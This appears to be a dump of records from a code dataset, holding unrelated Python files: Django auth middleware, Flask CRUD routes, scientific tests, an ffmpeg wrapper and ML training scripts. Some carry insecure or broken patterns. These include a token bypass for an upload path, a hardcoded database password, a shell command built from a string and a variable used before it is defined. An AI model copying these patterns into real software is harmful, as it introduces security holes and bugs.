'admin':\n pass\n #guest and operator should filter\n else:\n if conn.hexists(PERMISSION_URL_HASH, group):\n url_list = conn.hget(PERMISSION_URL_HASH, group).split(',')\n req_url = request.path\n # print req_url\n match_flag = False\n for url_pattern in url_list:\n result = re.match(url_pattern, req_url)\n if result:\n match_flag = True\n # 非法请求url直接返回\n if not match_flag:\n return JsonResponse(retcode(errcode(\"0401\", \"no authorized\"), \"0401\", \"no authorized\"), safe=True,\n status=status.HTTP_401_UNAUTHORIZED)\n\n else:\n return JsonResponse(retcode(errcode(\"0401\", \"no authorized\"), \"0401\", \"no authorized\"), safe=True,\n status=status.HTTP_401_UNAUTHORIZED)\n else:\n return JsonResponse(retcode(errcode(\"0401\", \"no authorized\"), \"0401\", \"no authorized, token is null\"), safe=True,\n status=status.HTTP_401_UNAUTHORIZED)\n else:\n if request.path.startswith(r'/container/api/v1/cloudbox/rentservice/upload/'):\n log.info(\"request without valid token bypass, if the request is upload api\")\n else:\n log.info(\"request without valid token reject\")\n return JsonResponse(retcode(errcode(\"0401\", \"no authorized\"), \"0401\", \"令牌失效,请重新登录\"), safe=True,\n status=status.HTTP_401_UNAUTHORIZED)\n except Exception:\n return JsonResponse(retcode(errcode(\"0401\", \"no authorized\"), \"0401\", \"no authorized exception\"), safe=True,\n status=status.HTTP_401_UNAUTHORIZED)\n\n def get_connection_from_pool(self):\n redis_pool = RedisTool()\n return redis_pool.get_connection()\n\n\n","sub_path":"rentservice/middleware/authmiddleware.py","file_name":"authmiddleware.py","file_ext":"py","file_size_in_byte":6232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"505348007","text":"#!/usr/bin/env python\n\"\"\" \"\"\"\n\n# Standard library modules.\nimport unittest\nimport logging\nimport math\n\n# Third party modules.\n\n# Local modules.\nfrom pymontecarlo.testcase import TestCase\nfrom pymontecarlo.options.analysis.kratio import KRatioAnalysis\nfrom pymontecarlo.options.analysis.photonintensity import PhotonIntensityAnalysis\nfrom pymontecarlo.options.beam import GaussianBeam\nfrom pymontecarlo.options.sample import SubstrateSample\nfrom pymontecarlo.options.material import Material\nfrom pymontecarlo.options.options import Options\nfrom pymontecarlo.options.limit import ShowersLimit\nfrom pymontecarlo.simulation import Simulation\nfrom pymontecarlo.results.photonintensity import EmittedPhotonIntensityResultBuilder\nfrom pymontecarlo.results.kratio import KRatioResult\n\n# Globals and constants variables.\n\nclass TestKRatioAnalysis(TestCase):\n\n def setUp(self):\n super().setUp()\n\n photon_detector = self.create_basic_photondetector()\n self.a = KRatioAnalysis(photon_detector)\n\n self.options = self.create_basic_options()\n\n def testapply(self):\n list_options = self.a.apply(self.options)\n self.assertEqual(1, len(list_options))\n\n options = list_options[0]\n self.assertAlmostEqual(self.options.beam.energy_eV, options.beam.energy_eV, 4)\n self.assertAlmostEqual(self.options.beam.particle, options.beam.particle, 4)\n self.assertIsInstance(options.sample, SubstrateSample)\n self.assertEqual(Material.pure(29), options.sample.material)\n self.assertSequenceEqual(self.options.detectors, options.detectors)\n self.assertSequenceEqual(self.options.limits, options.limits)\n self.assertSequenceEqual(self.options.models, options.models)\n self.assertEqual(1, len(options.analyses))\n self.assertIsInstance(options.analyses[0], PhotonIntensityAnalysis)\n\n def testapply2(self):\n self.options.sample.material = Material.from_formula('Al2O3')\n list_options = self.a.apply(self.options)\n self.assertEqual(2, len(list_options))\n\n# def testcalculate_nothing(self):\n# simulation = self.create_basic_simulation()\n# simulations = [simulation]\n# newresult = self.a.calculate(simulation, simulations)\n# self.assertFalse(newresult)\n\n def testcalculate(self):\n # Create options\n beam = GaussianBeam(20e3, 10.e-9)\n sample = SubstrateSample(Material.from_formula('CaSiO4'))\n limit = ShowersLimit(100)\n unkoptions = Options(self.program, beam, sample, [self.a], [limit])\n\n list_standard_options = self.a.apply(unkoptions)\n self.assertEqual(3, len(list_standard_options))\n\n # Create simulations\n def create_simulation(options):\n builder = EmittedPhotonIntensityResultBuilder(self.a)\n for z, wf in options.sample.material.composition.items():\n builder.add_intensity((z, 'Ka'), wf * 1e3, math.sqrt(wf * 1e3))\n result = builder.build()\n return Simulation(options, [result])\n\n unksim = create_simulation(unkoptions)\n stdsims = [create_simulation(options) for options in list_standard_options]\n sims = stdsims + [unksim]\n\n # Calculate\n newresult = self.a.calculate(unksim, sims)\n self.assertTrue(newresult)\n\n newresult = self.a.calculate(unksim, sims)\n self.assertFalse(newresult)\n\n # Test\n results = unksim.find_result(KRatioResult)\n self.assertEqual(1, len(results))\n\n result = results[0]\n self.assertEqual(3, len(result))\n\n q = result[('Ca', 'Ka')]\n self.assertAlmostEqual(0.303262, q.n, 4)\n self.assertAlmostEqual(0.019880, q.s, 4)\n\n q = result[('Si', 'Ka')]\n self.assertAlmostEqual(0.212506, q.n, 4)\n self.assertAlmostEqual(0.016052, q.s, 4)\n\n q = result[('O', 'Ka')]\n self.assertAlmostEqual(0.484232 / 0.470749, q.n, 4)\n self.assertAlmostEqual(0.066579, q.s, 4)\n\nif __name__ == '__main__': #pragma: no cover\n logging.basicConfig()\n logging.getLogger().setLevel(logging.DEBUG)\n unittest.main()\n","sub_path":"pymontecarlo/options/analysis/test_kratio.py","file_name":"test_kratio.py","file_ext":"py","file_size_in_byte":4131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"292369925","text":"from flask import request, jsonify, render_template\nfrom . import app, db\nfrom app.models import Sales, SalesSchema, sale_schema, sales_schema\nimport psycopg2\nimport psycopg2.extras\n\n#cur = conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n\n# Home Endpoint definieren\n@app.route('/')\n@app.route('/home')\ndef home():\n return render_template('index.html')\n\n# Post Sales\n@app.route('/api/sales', methods=['POST'])\ndef post_sales():\n id = request.json['id']\n filnr = request.json['filnr']\n artnr = request.json['artnr']\n discount = request.json['discount']\n date = request.json['date']\n amount = request.json['amount']\n\n new_sales = Sales(id, filnr, artnr, discount, date, amount)\n\n db.session.add(new_sales)\n db.session.commit()\n\n return sale_schema.jsonify(new_sales)\n\n# Get alle Sales\n@app.route('/api/employee/all', methods=['GET'])\n@app.route('/api/employee/all/', methods=['GET'])\ndef get_sales(page=1):\n per_page = 100\n all_sales = Sales.query.paginate(page, per_page, error_out = False)\n result = sales_schema.dump(all_sales.items)\n return jsonify(result)\n\n# Get all Unique Entries\n@app.route('/api/employee/', methods=['GET'])\ndef get_unique(unique):\n unique_entries = db.session.query(Sales).distinct(unique)\n unique_schema = SalesSchema(only=(str(unique),), many=True)\n return unique_schema.jsonify(unique_entries)\n\n# Get einzelnen Sale\n@app.route('/api/sales/id/', methods=['GET'])\ndef get_sale(id):\n sale = Sales.query.get(id)\n return sale_schema.jsonify(sale)\n\n@app.errorhandler(404)\ndef page_not_found(e):\n return \"

    404

    The resource could not be found.

    \", 404\n\n# Filter verschiedene Parameter\n@app.route('/api/employee', methods=['GET'])\n#@app.route('/sales/', methods=['GET'])\ndef filter():\n query_parameters = request.args\n\n #per_page = 50\n #query_parameters = parameters.paginate(page, per_page, error_out = False)\n\n id = query_parameters.get('id')\n filnr = query_parameters.get('filnr')\n artnr = query_parameters.get('artnr')\n discount = query_parameters.get('discount')\n date = query_parameters.get('date')\n amount = query_parameters.get('amount')\n\n query = \"SELECT * FROM sales WHERE\"\n to_filter = []\n\n if id:\n query += ' id=%s AND'\n to_filter.append(id)\n if filnr:\n query += ' filnr=%s AND'\n to_filter.append(filnr)\n if artnr:\n query += ' artnr=%s AND'\n to_filter.append(artnr)\n if discount:\n query += ' discount=%s AND'\n to_filter.append(discount)\n if date:\n query += ' date=%s AND'\n to_filter.append(date)\n if amount:\n query += ' amount=%s AND'\n to_filter.append(amount) \n if not (id or filnr or artnr or discount or date or amount):\n return page_not_found(404)\n\n query = query[:-4] + ';'\n\n #engine = create_engine(\"postgresql://postgres:level3@localhost/webers\")\n #conn = engine.raw_connection()\n #conn = psycopg2.connect(\"postgresql://postgres:hallolevel3@localhost/webers\")\n\n conn=psycopg2.connect(dbname='webers', user='postgres', host='microservice-architecture-master_db_1', password='password', port=5432)\n conn.autocommit=True\n cur = conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n cur.execute(query, to_filter)\n\n results = cur.fetchall()\n cur.close()\n #connection = engine.connect()\n #results = connection.execute(query, to_filter)\n\n return jsonify(results)\n\n# Update Sale\n@app.route('/sales/', methods=['PUT'])\ndef update_sales(id):\n sale = Sales.query.get(id)\n\n filnr = request.json['filnr']\n artnr = request.json['artnr']\n discount = request.json['discount']\n date = request.json['date']\n amount = request.json['amount']\n\n sale.filnr = filnr\n sale.artnr = artnr\n sale.discount = discount\n sale.date = date\n sale.amount = amount\n\n db.session.commit()\n\n return sale_schema.jsonify(sale)\n\n# Delete Sale\n@app.route('/sales/', methods=['DELETE'])\ndef delete_sale(id):\n sale = Sales.query.get(id)\n\n db.session.delete(sale)\n db.session.commit()\n \n return sale_schema.jsonify(sale)\n\n# Api Endpoint definieren\n#@app.route('/api',methods=['POST'])\n#def api():\n # data = request.get_json(force=True)\n # prediction = model.predict([np.array(list(data.values()))])\n # output = prediction[0]\n\n # return jsonify(output)","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":4422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"473730451","text":"from django.urls import path, re_path\n\nfrom .views import (\n get_all_lists,\n get_list,\n insert_list,\n update_list,\n delete_list,\n does_list_exists\n)\n\napp_name = \"Api\"\n\nurlpatterns = [\n re_path(r\"list/(?P[a-zA-z0-9 -._]+)\", get_list),\n re_path(r\"exists/(?P<title>[a-zA-z0-9 -._]+)\", does_list_exists),\n path(\"lists/\", get_all_lists),\n path(\"insert/\", insert_list),\n path(\"update/\", update_list),\n path(\"delete/\", delete_list)\n]\n","sub_path":"Server/Api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"143314921","text":"# /usr/bin/env python\nfrom hpp.corbaserver.manipulation import ConstraintGraph, ProblemSolver, Rule\nfrom hpp.corbaserver.manipulation.robot import Robot\nfrom hpp.gepetto.manipulation import ViewerFactory\n\nRobot.packageName = \"talos_data\"\nRobot.urdfName = \"talos\"\nRobot.urdfSuffix = \"_full_v2\"\nRobot.srdfSuffix = \"\"\n\n\nclass Box(object):\n rootJointType = \"freeflyer\"\n packageName = \"gerard_bauzil\"\n urdfName = \"cardboard_box\"\n urdfSuffix = \"\"\n srdfSuffix = \"\"\n handles = [\"box/handle1\", \"box/handle2\"]\n contacts = [\"box/bottom_surface\"]\n\n\nclass Table(object):\n rootJointType = \"anchor\"\n packageName = \"gerard_bauzil\"\n urdfName = \"pedestal_table\"\n urdfSuffix = \"\"\n srdfSuffix = \"\"\n pose = \"pose\"\n contacts = [\"table/support\"]\n\n\nObject = Box\nhalf_sitting = [\n # -0.74,0,1.0192720229567027,0,0,0,1, # root_joint\n -0.6,\n -0.2,\n 1.0192720229567027,\n 0,\n 0,\n 0,\n 1, # root_joint\n 0.0,\n 0.0,\n -0.411354,\n 0.859395,\n -0.448041,\n -0.001708, # leg_left\n 0.0,\n 0.0,\n -0.411354,\n 0.859395,\n -0.448041,\n -0.001708, # leg_right\n 0,\n 0.006761, # torso\n 0.25847,\n 0.173046,\n -0.0002,\n -0.525366,\n 0,\n 0,\n 0.1, # arm_left\n 0,\n 0,\n 0,\n 0,\n 0,\n 0,\n 0, # gripper_left\n -0.25847,\n -0.173046,\n 0.0002,\n -0.525366,\n 0,\n 0,\n 0.1, # arm_right\n 0,\n 0,\n 0,\n 0,\n 0,\n 0,\n 0, # gripper_right\n 0,\n 0, # head\n -0.04,\n 0,\n 1.095 + 0.071,\n 0,\n 0,\n 1,\n 0, # box\n]\n\n\ndef makeRobotProblemAndViewerFactory(clients):\n robot = Robot(\"talos\", \"talos\", rootJointType=\"freeflyer\", client=clients)\n robot.leftAnkle = \"talos/leg_left_6_joint\"\n robot.rightAnkle = \"talos/leg_right_6_joint\"\n\n robot.setJointBounds(\"talos/root_joint\", [-1, 1, -1, 1, 0.5, 1.5])\n\n ps = ProblemSolver(robot)\n ps.setRandomSeed(123)\n ps.selectPathProjector(\"Progressive\", 0.2)\n ps.setErrorThreshold(1e-3)\n ps.setMaxIterProjection(40)\n\n ps.addPathOptimizer(\"SimpleTimeParameterization\")\n\n vf = ViewerFactory(ps)\n vf.loadObjectModel(Object, \"box\")\n robot.setJointBounds(\"box/root_joint\", [-1, 1, -1, 1, 0, 2])\n\n # Loaded as an object to get the visual tags at the right position.\n # vf.loadEnvironmentModel (Table, 'table')\n vf.loadObjectModel(Table, \"table\")\n\n return robot, ps, vf\n\n\ndef makeGraph(robot):\n from hpp.corbaserver.manipulation.constraint_graph_factory import (\n ConstraintGraphFactory,\n )\n\n graph = ConstraintGraph(robot, \"graph\")\n factory = ConstraintGraphFactory(graph)\n factory.setGrippers([\"talos/left_gripper\"])\n factory.setObjects([\"box\"], [Object.handles], [Object.contacts])\n factory.environmentContacts(Table.contacts)\n factory.setRules(\n [\n Rule([\"talos/left_gripper\"], [Object.handles[1]], False),\n # Rule([ \"talos/left_gripper\", ], [ Object.handles[0], ], True),\n Rule([\"talos/left_gripper\"], [\".*\"], True),\n # Rule([ \"talos/right_gripper\", ], [ Object.handles[1], ], True),\n ]\n )\n factory.generate()\n return graph\n","sub_path":"talos/pickup_cardboard_box/common_hpp.py","file_name":"common_hpp.py","file_ext":"py","file_size_in_byte":3147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"369739755","text":"import os\nimport shlex\nfrom shutil import which\nfrom subprocess import check_output, Popen, PIPE\n\nfrom .utils import does_path_exists\nfrom .exceptions import (\n FramesExtractorOutPutDirDoesNotExits,\n FFmpegNotFound,\n FFmpegFailedToExtractFrames,\n)\n\n\n# python module to extract the frames from the input video.\n# Uses the FFmpeg Software to extract the frames.\n\n\nclass FramesExtractor(object):\n\n \"\"\"\n extract from from the passed video file and save at the output directory.\n \"\"\"\n\n def __init__(self, video_path, output_dir, interval=1, ffmpeg_path=None):\n \"\"\"\n Raises Exeception if video_path does not exists.\n Raises Exeception if output_dir does not exists or if not a directory.\n Checks the ffmpeg installation and the path; thus ensure that we can use it.\n\n :param video_path: absolute path of the video\n\n :param output_dir: absolute path of the directory\n where to save the frames.\n\n :param interval: interval is seconds. interval must be an integer.\n Extract one frame every given number of seconds.\n Default is 1, that is one frame every second.\n\n :param ffmpeg_path: path of the ffmpeg software if not in path.\n\n \"\"\"\n self.video_path = video_path\n self.output_dir = output_dir\n self.interval = interval\n self.ffmpeg_path = ffmpeg_path\n\n if not does_path_exists(self.video_path):\n raise FileNotFoundError(\n \"No video found at '%s' for frame extraction.\" % self.video_path\n )\n\n if not does_path_exists(self.output_dir):\n raise FramesExtractorOutPutDirDoesNotExits(\n \"No directory called '%s' found for storing the frames.\"\n % self.output_dir\n )\n\n self._check_ffmpeg()\n\n self.extract()\n\n def _check_ffmpeg(self):\n \"\"\"\n Checks the ffmpeg path and runs 'ffmpeg -version' to verify that the\n software, ffmpeg is found and works.\n \"\"\"\n if not self.ffmpeg_path:\n if not which(\"ffmpeg\"):\n raise FFmpegNotFound(\n \"FFmpeg is not on the path. Install FFmpeg and add it to the path.\"\n + \"Or you can also pass the path via the 'ffmpeg_path' param.\"\n )\n else:\n self.ffmpeg_path = str(which(\"ffmpeg\"))\n\n # Check the ffmpeg\n try:\n # check_output will raise FileNotFoundError if it does not finds the ffmpeg\n output = check_output([str(self.ffmpeg_path), \"-version\"]).decode()\n except FileNotFoundError:\n raise FFmpegNotFound(\"FFmpeg not found at '%s'.\" % self.ffmpeg_path)\n else:\n if \"ffmpeg version\" not in output:\n raise FFmpegNotFound(\n \"ffmpeg at '%s' is not really ffmpeg. Output of ffmpeg -version is \\n'%s'.\"\n % (self.ffmpeg_path, output)\n )\n\n def extract(self):\n \"\"\"\n Extract the frames at every n seconds where n is the\n integer set to self.interval.\n \"\"\"\n ffmpeg_path = self.ffmpeg_path\n video_path = self.video_path\n output_dir = self.output_dir\n if os.name == \"posix\":\n ffmpeg_path = shlex.quote(self.ffmpeg_path)\n video_path = shlex.quote(self.video_path)\n output_dir = shlex.quote(self.output_dir)\n\n command = (\n f'\"{ffmpeg_path}\"'\n + \" -i \"\n + '\"'\n + video_path\n + '\"'\n + \" -s 144x144 \"\n + \" -r \"\n + str(self.interval)\n + \" \"\n + '\"'\n + output_dir\n + \"video_frame_%07d.jpeg\"\n + '\"'\n )\n\n process = Popen(command, shell=True, stdout=PIPE, stderr=PIPE)\n output, error = process.communicate()\n\n ffmpeg_output = output.decode()\n ffmpeg_error = error.decode()\n\n if len(os.listdir(self.output_dir)) == 0:\n raise FFmpegFailedToExtractFrames(\n \"FFmpeg could not extract any frames.\\n%s\\n%s\\n%s\"\n % (command, ffmpeg_output, ffmpeg_error)\n )\n","sub_path":"videohash/framesextractor.py","file_name":"framesextractor.py","file_ext":"py","file_size_in_byte":4259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"618379574","text":"# -*- coding: utf-8 -*-\nimport gensim\nimport os\nimport sys\nimport collections\nimport smart_open\nimport random\nimport string\nimport glob\n\n\ni=0\n\nfiles_name = [[0]*10 for i in range(10)]\n#for i in range(2) :\nfiles_name[0] = sys.argv[1]\nfiles_name[1] = sys.argv[2]\n\n#console.log(files_name)\n# Preprocess a number of files\nfor i in range(2):\n f = open('/home/seobin/Desktop/copybreaker/Form/uploads/'+ files_name[i], 'r')\n s = f.read()\n new = s.replace(\"\\n\", ' ')\n f.close()\n if i == 0 :\n f=open('./input.txt','w')\n else:\n f=open('./input.txt','a')\n f.write(\"\\n\")\n \n\n f.write(new)\n f.close()\n ##final enter processing!\n\n# Set file names for train and test data\ntrain_file = './input.txt'\n\ndef read_corpus(fname, tokens_only=False):\n with smart_open.smart_open(fname, encoding=\"utf-8\") as f: #utf-8, iso-8859-15\n for i, line in enumerate(f):\n if tokens_only:\n yield gensim.utils.simple_preprocess(line)\n else:\n # For training data, add tags\n yield gensim.models.doc2vec.TaggedDocument(gensim.utils.simple_preprocess(line), [i])\n\ntrain_corpus = list(read_corpus(train_file))\n\n\nmodel = gensim.models.doc2vec.Doc2Vec(size=300, min_count=5, dm=0, iter=800)\nmodel.build_vocab(train_corpus)\nmodel.train(train_corpus, total_examples=model.corpus_count,epochs=model.iter)\n\ninferred_vector = model.infer_vector(train_corpus[0].words)\nsims=model.docvecs.most_similar([inferred_vector], topn=len(model.docvecs))\n\n# Compare and print the most/median/least similar documents from the train corpus\nindex=0\ndoc_id=0\nresult=open('/home/seobin/Desktop/copybreaker/Form/views/result1.ejs','w')\n\nresult.write(\"<!DOCTYPE html><html><head><title>result

    <%=title%>

    \") \nresult.write(\"

    Similarity:%s

    \"%sims[index+1][1])\nresult.write(\"\"%files_name[0])\nresult.write(\"\"%files_name[1]) \n \n\nprint('Test Document ({}): «{}»\\n'.format(doc_id,' '.join(train_corpus[0].words)))\n\nresult.write(\"\"%(' '.join(train_corpus[0].words)))\nprint(u'Similirity : %s : «%s»\\n' % (sims[1], ' '.join(train_corpus[0].words)))\nresult.write(\"\"%' '.join(train_corpus[1].words))\nresult.write(\"
    %s %s
    %s %s:
    \")\nresult.close()\n \n\n\n\n","sub_path":"copybreaker/Form/views/test/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":2411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"464478986","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom tensorflow.keras.datasets import mnist\n\n\n(x_train, _), (x_test, _) = mnist.load_data()\n\nx_train = x_train.reshape(60000, 784).astype('float')/255\nx_test = x_test.reshape(10000, 784).astype('float')/255\n\nx_train_noised = x_train + np.random.normal(0, 0.1, size=x_train.shape)\nx_test_noised = x_test + np.random.normal(0, 0.1, size=x_test.shape)\n\nx_train_noised = np.clip(x_train_noised, a_min=0, a_max=1)\nx_test_noised = np.clip(x_test_noised, a_min=0, a_max=1)\n\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.layers import Input, Dense\n\ndef autoencoder(hidden_layer_size):\n input = Input((784,))\n xx = Dense(units=hidden_layer_size, activation='relu')(input)\n output = Dense(784, activation='sigmoid')(xx)\n model = Model(input, output)\n return model\n\nmodel = autoencoder(hidden_layer_size=154) # pca 95%\nmodel.compile(loss='mse', optimizer='adam')\nmodel.fit(x_train_noised, x_train, epochs=10, batch_size=128, validation_split=0.01)\nimg_decoded = model.predict(x_test_noised)\n\nimport random\nfig, ((ax1, ax2, ax3, ax4, ax5), (ax6, ax7, ax8, ax9, ax10), (ax11, ax12, ax13, ax14, ax15)) = \\\n plt.subplots(3, 5, figsize=(20, 7))\nrandom_images = random.sample(range(img_decoded.shape[0]), 5)\n\nfor i, ax in enumerate([ax1, ax2, ax3, ax4, ax5]):\n ax.imshow(x_test[random_images[i]].reshape(28,28), cmap='gray')\n if i == 0:\n ax.set_ylabel('before_noised', size=20)\n ax.grid(False)\n ax.set_xticks([])\n ax.set_yticks([])\n\nfor i, ax in enumerate([ax6, ax7, ax8, ax9, ax10]):\n ax.imshow(x_test_noised[random_images[i]].reshape(28,28), cmap='gray')\n if i == 0:\n ax.set_ylabel('after_noised', size=20)\n ax.grid(False)\n ax.set_xticks([])\n ax.set_yticks([])\n\nfor i, ax in enumerate([ax11, ax12, ax13, ax14, ax15]):\n ax.imshow(img_decoded[random_images[i]].reshape(28,28), cmap='gray')\n if i == 0:\n ax.set_ylabel('output', size=20)\n ax.grid(False)\n ax.set_xticks([])\n ax.set_yticks([])\n\nplt.tight_layout()\nplt.show()\n","sub_path":"ae/ae06_noise.py","file_name":"ae06_noise.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"640705244","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\n# set parameters of PDE\na = 2.8e-4\nb = 5e-3\ntau = .1\nk = -.005\n\n# set parameters for discretize time and space\n# note that: dt<=dx**2/2 ensures stable scheme\nT = 10.0 # total time\ndt = .9 * dx**2/2 # time step\nn = int(T/dt)\n\n\n\n\ndef simTuring(size):\n\n# This function simulate reaction diffusion in the space\n# discretized to a matrix of size x size\n dx = 2./size # space step ..domain size = 2io\n \n# u represent concentration of a substance favoring\n# skin pigmantation; v represents another substance\n# interacting with u and prevent pigmentation. Here\n# we start from uniform random u and v each grid point in space\n U = np.random.rand(size, size)\n V = np.random.rand(size, size)\n\n# We simulate the PDE with the finite difference method.\n for i in range(n):\n # We compute the Laplacian of u and v...used as estimated changes\n # of U and V in each time step\n deltaU = laplacian(U)\n deltaV = laplacian(V)\n # We take the values of u and v inside the grid.\n Uc = U[1:-1,1:-1]\n Vc = V[1:-1,1:-1]\n # We update the variables.\n U[1:-1,1:-1], V[1:-1,1:-1] = \\\n Uc + dt * (a * deltaU + Uc - Uc**3 - Vc + k), \\\n Vc + dt * (b * deltaV + Uc - Vc) / tau\n # Neumann conditions: derivatives at the edges\n # are null.\n for Z in (U, V):\n Z[0,:] = Z[1,:]\n Z[-1,:] = Z[-2,:]\n Z[:,0] = Z[:,1]\n Z[:,-1] = Z[:,-2]\n\n plt.imshow(U, cmap=plt.cm.copper, extent=[-1,1,-1,1]);\n plt.xticks([]); plt.yticks([]);\n\n\n\ndef laplacian(Z): #discrete estimation of dZ matrix\n Ztop = Z[0:-2,1:-1]\n Zleft = Z[1:-1,0:-2]\n Zbottom = Z[2:,1:-1]\n Zright = Z[1:-1,2:]\n Zcenter = Z[1:-1,1:-1]\n return (Ztop + Zleft + Zbottom + Zright - 4 * Zcenter) / dx**2\n","sub_path":"RxnDiffTuring.py","file_name":"RxnDiffTuring.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"539759666","text":"def docs_feedback_cybersecurity_and_crime(link):\n from CRLS_APCSP_autograder.app.docs_labs.docs import get_text, exact_answer, keyword_and_length\n\n tests = list()\n\n text = get_text(link)\n test1a = keyword_and_length('1a. 3 examples of cybercrime', [r'[a-zA-Z]+'], text,\n search_string=r'1a\\. .+? tabledata (.+) 2a\\.', min_length=10, points=1)\n test2a = keyword_and_length('2a. What is a virus', [r'[a-zA-Z]+'], text,\n search_string=r'2a\\. .+? tabledata (.+) 3a\\.', min_length=7, points=1)\n test3a = keyword_and_length('3a. What is DDOS?', [r'[a-zA-Z]+'], text,\n search_string=r'3a\\. .+? tabledata (.+?) 4a\\.', min_length=10, points=1)\n test4a = keyword_and_length('4a. What is phishing?', [r'[a-zA-Z]+'], text,\n search_string=r'4a\\. .+? tabledata (.+?) 5a\\.', min_length=10, points=1)\n test5a = keyword_and_length('5a. Pick one, write about how to defend against it?', [r'[a-zA-Z]+'], text,\n search_string=r'5a\\. .+? tabledata (.+?) $', min_length=10, points=1)\n tests.extend([test1a, test2a, test3a, test4a, test5a,])\n return tests\n","sub_path":"CRLS_APCSP_autograder/app/cybersecurity_and_crime.py","file_name":"cybersecurity_and_crime.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"425715483","text":"#!/usr/bin/python3\n\"\"\" Python script to export data in the JSON FORMAT \"\"\"\nimport requests\nfrom sys import argv\nimport json\n\nif __name__ == \"__main__\":\n url = \"https://jsonplaceholder.typicode.com/\"\n user = requests.get(url + \"users\").json()\n myJsonDict = {}\n for employee in user:\n user_id = employee[\"id\"]\n myJsonDict[user_id] = []\n tasks = requests.get((url + \"todos/?userId=%s\") % user_id).json()\n for my_tasks in tasks:\n myJsonDict[user_id].append({\"username\": employee[\"username\"],\n \"task\": my_tasks[\"title\"],\n \"completed\": my_tasks[\"completed\"]})\n\n with open(\"todo_all_employees.json\", \"w\") as jsonfile:\n jsonfile.write((json.dumps(myJsonDict)))\n","sub_path":"0x15-api/3-dictionary_of_list_of_dictonaries.py","file_name":"3-dictionary_of_list_of_dictonaries.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"547430401","text":"#!/usr/bin/env python3\n\nimport os\nimport gym\nfrom slimevolleygym import SurvivalRewardEnv\n\nfrom stable_baselines.common import set_global_seeds\nfrom stable_baselines.common.vec_env import subproc_vec_env\nimport slimevolleygym\nfrom stable_baselines.a2c import a2c\nfrom stable_baselines.common.policies import MlpPolicy\nfrom stable_baselines import logger, bench\nfrom stable_baselines.common.callbacks import EvalCallback\nimport numpy as np\n# import matplotlib.pyplot as plt\n\nfrom stable_baselines.results_plotter import load_results, ts2xy\nfrom stable_baselines.common.callbacks import BaseCallback\nfrom stable_baselines.common.cmd_util import make_vec_env\nfrom stable_baselines.common.policies import MlpPolicy\n\n\nclass SaveOnBestTrainingRewardCallback(BaseCallback):\n \"\"\"\n Callback for saving a model (the check is done every ``check_freq`` steps)\n based on the training reward (in practice, we recommend using ``EvalCallback``).\n\n :param check_freq: (int)\n :param log_dir: (str) Path to the folder where the model will be saved.\n It must contains the file created by the ``Monitor`` wrapper.\n :param verbose: (int)\n \"\"\"\n def __init__(self, check_freq: int, log_dir: str, verbose=1):\n super(SaveOnBestTrainingRewardCallback, self).__init__(verbose)\n self.check_freq = check_freq\n self.log_dir = log_dir\n self.save_path = os.path.join(log_dir, 'best_model')\n self.best_mean_reward = -np.inf\n\n def _init_callback(self) -> None:\n # Create folder if needed\n if self.save_path is not None:\n os.makedirs(self.save_path, exist_ok=True)\n\n def _on_step(self) -> bool:\n if self.n_calls % self.check_freq == 0:\n\n # Retrieve training reward\n x, y = ts2xy(load_results(self.log_dir), 'timesteps')\n if len(x) > 0:\n # Mean training reward over the last 100 episodes\n mean_reward = np.mean(y[-100:])\n if self.verbose > 0:\n print(\"Num timesteps: {}\".format(self.num_timesteps))\n print(\"Best mean reward: {:.2f} - Last mean reward per episode: {:.2f}\".format(self.best_mean_reward, mean_reward))\n\n # New best model, you could save the agent here\n if mean_reward > self.best_mean_reward:\n self.best_mean_reward = mean_reward\n # Example for saving best model\n if self.verbose > 0:\n print(\"Saving new best model to {}\".format(self.save_path))\n self.model.save(self.save_path)\n\n return True\n\nNUM_TIMESTEPS = int(2e7)\nSEED = 721\nEVAL_FREQ = 250000\nEVAL_EPISODES = 1000\nLOGDIR = \"a2c_vec\" # moved to zoo afterwards.\nenv_id = \"SlimeVolleyNoFrameskip-v0\"\n\nlogger.configure(folder=LOGDIR)\n\nenv = gym.make(env_id)\nenv = bench.Monitor(env, LOGDIR)\nenv.seed(SEED)\n\n# env = bench.Monitor(env, logger.get_dir() and os.path.join(logger.get_dir(), str(0)))\n\ncallback = SaveOnBestTrainingRewardCallback(check_freq=1000, log_dir=LOGDIR)\nmodel = a2c.A2C(MlpPolicy, env, n_steps=20, learning_rate=0.001, lr_schedule='linear', verbose=2)\n\n#model = a2c.A2C(MlpPolicy, env, n_steps=10000, learning_rate=0.001, lr_schedule='linear', verbose=2)\n#eval_callback = EvalCallback(env, best_model_save_path=LOGDIR, log_path=LOGDIR, eval_freq=EVAL_FREQ, n_eval_episodes=EVAL_EPISODES, render=True)\n\nmodel.learn(total_timesteps=NUM_TIMESTEPS, callback=callback)\n\nmodel.save(os.path.join(LOGDIR, \"final_model\")) # probably never get to this 